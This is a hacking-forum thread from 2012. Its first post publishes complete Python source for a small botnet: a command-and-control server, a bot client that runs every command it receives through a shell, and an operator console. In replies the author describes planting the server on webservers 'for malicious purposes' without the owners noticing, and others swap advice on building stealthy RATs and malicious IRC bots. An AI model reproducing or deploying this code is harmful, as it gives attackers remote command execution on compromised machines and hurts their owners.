Author Topic: My finished [for the most part] bot  (Read 2002 times)

0 Members and 1 Guest are viewing this topic.

Offline Ragehottie

  • Knight
  • **
  • Posts: 313
  • Cookies: -9
  • Hack to learn, not learn to hack.
    • View Profile
My finished [for the most part] bot
« on: July 30, 2012, 12:52:52 am »
Well, I have finished my botnet. The new version has no more than 3 threads running at a time on the server. Version 0.2 will have a option to save the bots so you can restart the server. But as of now all it does it execute the commands through the shell. It's still a great accomplishment for me though :D


....oh yeah, the code:


Server:
Code: (python) [Select]

# Server for my botnet
#######################
USERNAME = 'Commander'
PASSWORD = 'password'
#######################


from threading import *
from socket import *


PORT = 5000
BUFSIZE = 1024
ADDRESS = ('', PORT)
BOT_LIST = []
NUMBER_OF_BOTS = 0
server = socket(AF_INET, SOCK_STREAM)




server.bind(ADDRESS)
server.listen(5)


class BotHandler(Thread):
   
   def __init__(self, client):
      Thread.__init__(self)
      self._bot = client
     
   def run(self):
      BOT_LIST.append(self._bot)
      self._bot.shutdown(SHUT_RD)


     
class CommanderHandler(Thread):
   
   def __init__(self, client):
      Thread.__init__(self)
      self._commander = client
     
   def run(self):
      self._commander.send('Welcome, ' + USERNAME)
      while True:
         self._command = self._commander.recv(1024)
         if self._command == 'numberofbots':
            self._commander.send(str(NUMBER_OF_BOTS))
         else:
            for self._element in BOT_LIST:
               self._element.send(self._command)
               
               
while True:
   client, address = server.accept()
   UserPass = client.recv(1024)
   if UserPass == 'Bot':
      NUMBER_OF_BOTS += 1
      Handler = BotHandler(client)
      Handler.start()
   
   elif UserPass == USERNAME + ':' + PASSWORD:
      Handler = CommanderHandler(client)
      Handler.start()
   else:
      client.send('GTFO Noob.')
      client.close()
   print active_count()


Bot:
Code: (python) [Select]

# Bot for my botnet


from socket import *
from subprocess import *


IP = 'localhost'
PORT = 5000
ADDRESS = (IP, PORT)
server = socket(AF_INET, SOCK_STREAM)


server.connect(ADDRESS)
server.send('Bot')


while True:
   command = server.recv(1024)
   execute = Popen(command, shell = True, stdin = PIPE, stdout = PIPE, stderr = PIPE)
   # stdout, stderr = execute.communicate()
   # print 'STDOUT: ' + stdout + '\n'         Uncomment for debugging
   # print 'STDERR: ' + stderr + '\n'


And the commander script to control it:
Code: (python) [Select]

# Commander script for my botnet


from socket import *


IP = 'localhost'
PORT = 5000
ADDRESS = (IP, PORT)
server = socket(AF_INET, SOCK_STREAM)


username = raw_input('Username: ')
password = raw_input('Password: ')
userPass = username + ':' + password


server.connect(ADDRESS)
server.send(userPass)
greeting = server.recv(1024)
print greeting


while True:
   command = raw_input('> ')
   if command == 'exit':
      server.close()
   elif command == 'numberofbots':
      server.send(command)
      numberofbots = server.recv(1024)
      print numberofbots
   else:
      server.send(command)
« Last Edit: August 30, 2012, 03:55:41 pm by ande »
Blog: rexmckinnon.tumblr.com

Offline bubzuru

  • Knight
  • **
  • Posts: 395
  • Cookies: 21
  • everything is contained in the data
    • View Profile
    • New School Tools
Re: My finished [for the most part] Botnet :D
« Reply #1 on: August 02, 2012, 03:48:25 pm »
i have dirty confession, iv never coded  python :|

but this code looks nice , well formatted + 1
Damm it feels good to be gangsta
http://bubzuru.comule.com

Offline Daemon

  • VIP
  • Baron
  • *
  • Posts: 845
  • Cookies: 153
  • A wise man fears a gentle mans anger
    • View Profile
Re: My finished [for the most part] Botnet :D
« Reply #2 on: August 02, 2012, 05:20:58 pm »
i have dirty confession, iv never coded  python :|

but this code looks nice , well formatted + 1

Me either, but heres a damn good reason to start

http://www.linuxjournal.com/article/3882
This lifestyle is strictly DIY or GTFO - lucid

Because sexploits are for h0edays - noncetonic


Xires burns the souls of HF skids as a power supply

Offline Ragehottie

  • Knight
  • **
  • Posts: 313
  • Cookies: -9
  • Hack to learn, not learn to hack.
    • View Profile
Re: My finished [for the most part] Botnet :D
« Reply #3 on: August 02, 2012, 07:56:14 pm »
i have dirty confession, iv never coded  python :|

but this code looks nice , well formatted + 1


Thank you :D
Blog: rexmckinnon.tumblr.com

Offline D4rkC10ud

  • /dev/null
  • *
  • Posts: 12
  • Cookies: -6
    • View Profile
Re: My finished [for the most part] Botnet :D
« Reply #4 on: August 30, 2012, 04:56:15 am »
In Pyton coder can`t create bad formatted code :)
In Soviet Russia TV watch You!

Offline Ragehottie

  • Knight
  • **
  • Posts: 313
  • Cookies: -9
  • Hack to learn, not learn to hack.
    • View Profile
Re: My finished [for the most part] Botnet :D
« Reply #5 on: August 31, 2012, 10:40:09 pm »
Quote from: D4rkC10ud link=topic=54no69.msg29212#msg29212 date=1346295375
In Pyton coder can`t create bad formatted code :)
Not true at all. Just because it is indented, it does not mean it looks nice.
Blog: rexmckinnon.tumblr.com

Offline namespace7

  • Sir
  • ***
  • Posts: 561
  • Cookies: 115
  • My Brother's Keeper
    • View Profile
Re: My finished [for the most part] bot
« Reply #6 on: August 31, 2012, 11:25:27 pm »
Interesting project mate, I will definitely check the code out. Never coded a bot/server before.

"A programmer’s greatest enemy isn’t the tools or the boss or the artists or the design or the legacy code or the third party code or the API or the OS. A programmer’s greatest enemy is getting stuck.
Therefore a crucial step to becoming a better programmer is learning how to avoid getting stuck, to recognize when you’re stuck, and to get unstuck." -Jeff Wofford

Offline bubzuru

  • Knight
  • **
  • Posts: 395
  • Cookies: 21
  • everything is contained in the data
    • View Profile
    • New School Tools
Re: My finished [for the most part] bot
« Reply #7 on: September 01, 2012, 01:40:50 pm »
Interesting project mate, I will definitely check the code out. Never coded a bot/server before.



you should try
making the bot\(server, if = IRC) is not hard, its making the protocol that it rides on that's hard, that's why its easier to make an irc bot than your own R.A.T
Damm it feels good to be gangsta
http://bubzuru.comule.com

Offline namespace7

  • Sir
  • ***
  • Posts: 561
  • Cookies: 115
  • My Brother's Keeper
    • View Profile
Re: My finished [for the most part] bot
« Reply #8 on: September 01, 2012, 06:22:51 pm »
I will definitely give it a try.
A botnet, a R.A.T and an IRC bot are three very different things, are they not?
Both botnet and a R.A.T. require a server and a client to work, while an IRC bot is a single entity, right?
Which would you recommend to code first? Never coded any of these.
"A programmer’s greatest enemy isn’t the tools or the boss or the artists or the design or the legacy code or the third party code or the API or the OS. A programmer’s greatest enemy is getting stuck.
Therefore a crucial step to becoming a better programmer is learning how to avoid getting stuck, to recognize when you’re stuck, and to get unstuck." -Jeff Wofford

Offline Ragehottie

  • Knight
  • **
  • Posts: 313
  • Cookies: -9
  • Hack to learn, not learn to hack.
    • View Profile
Re: My finished [for the most part] bot
« Reply #9 on: September 01, 2012, 07:07:11 pm »
I will definitely give it a try.
A botnet, a R.A.T and an IRC bot are three very different things, are they not?
Both botnet and a R.A.T. require a server and a client to work, while an IRC bot is a single entity, right?
Which would you recommend to code first? Never coded any of these.


I tried to make a telnet client first. A no- install telnet server. Just place and run type server(For malicious purposes). I then went to IRC botnet, which I couldn't get my IRC server to work, so I went back to writing my own server/client. I feel like you would learn alot more doing a client/server, and you have more control over the network. For instance, this server is very light on the computer, so I can just place it on a webserver and they won't really tell a difference in performance. 
Blog: rexmckinnon.tumblr.com

Z3R0

  • Guest
Re: My finished [for the most part] bot
« Reply #10 on: September 01, 2012, 07:31:50 pm »
you should try
making the bot\(server, if = IRC) is not hard, its making the protocol that it rides on that's hard, that's why its easier to make an irc bot than your own R.A.T
I tried doing that back in the day with vb6...that was a nightmare! The client had to be created from a stub, I had to make a completely separate module for all of the winsock controls, getting functions to work through winsock didn't always work, etc. It was just a complete mess! All the better because of it though.


Edit: Daemon, it wasn't for an IRC bot, it was for a R.A.T.
« Last Edit: September 02, 2012, 02:31:06 am by m0rph »

Offline Daemon

  • VIP
  • Baron
  • *
  • Posts: 845
  • Cookies: 153
  • A wise man fears a gentle mans anger
    • View Profile
Re: My finished [for the most part] bot
« Reply #11 on: September 02, 2012, 02:12:20 am »
I tried doing that back in the day with vb6...that was a nightmare! The client had to be created from a stub, I had to make a completely separate module for all of the winsock controls, getting functions to work through winsock didn't always work, etc. It was just a complete mess! All the better because of it though.

VB6...theres your problem lol. Personally if i were going to do any sort of IRC bot scripting I would use either perl or python (perl most likely as that's what IRSSI uses for startup scripts and customization) Any sort of GUI on it would just make it too bloated to be stealthy, and a pain to interface with the IRC imo.
This lifestyle is strictly DIY or GTFO - lucid

Because sexploits are for h0edays - noncetonic


Xires burns the souls of HF skids as a power supply

Offline bubzuru

  • Knight
  • **
  • Posts: 395
  • Cookies: 21
  • everything is contained in the data
    • View Profile
    • New School Tools
Re: My finished [for the most part] bot
« Reply #12 on: September 24, 2012, 11:41:50 am »
VB6...theres your problem lol. Personally if i were going to do any sort of IRC bot scripting I would use either perl or python (perl most likely as that's what IRSSI uses for startup scripts and customization) Any sort of GUI on it would just make it too bloated to be stealthy, and a pain to interface with the IRC imo.

irc is a very simple protocol
http://www.irchelp.org/irchelp/rfc/rfc.html

a scripting language would not be my first choice for an irc bot (a malicious one anyways)
its basicly just open the socket, send the auth, ping\pong, bla bla do shit for me

the server is allready there, you just need to talk to it. no need for the bot to have a gui (its just a socket sending messages) and you (the master) will just use any irc client
Damm it feels good to be gangsta
http://bubzuru.comule.com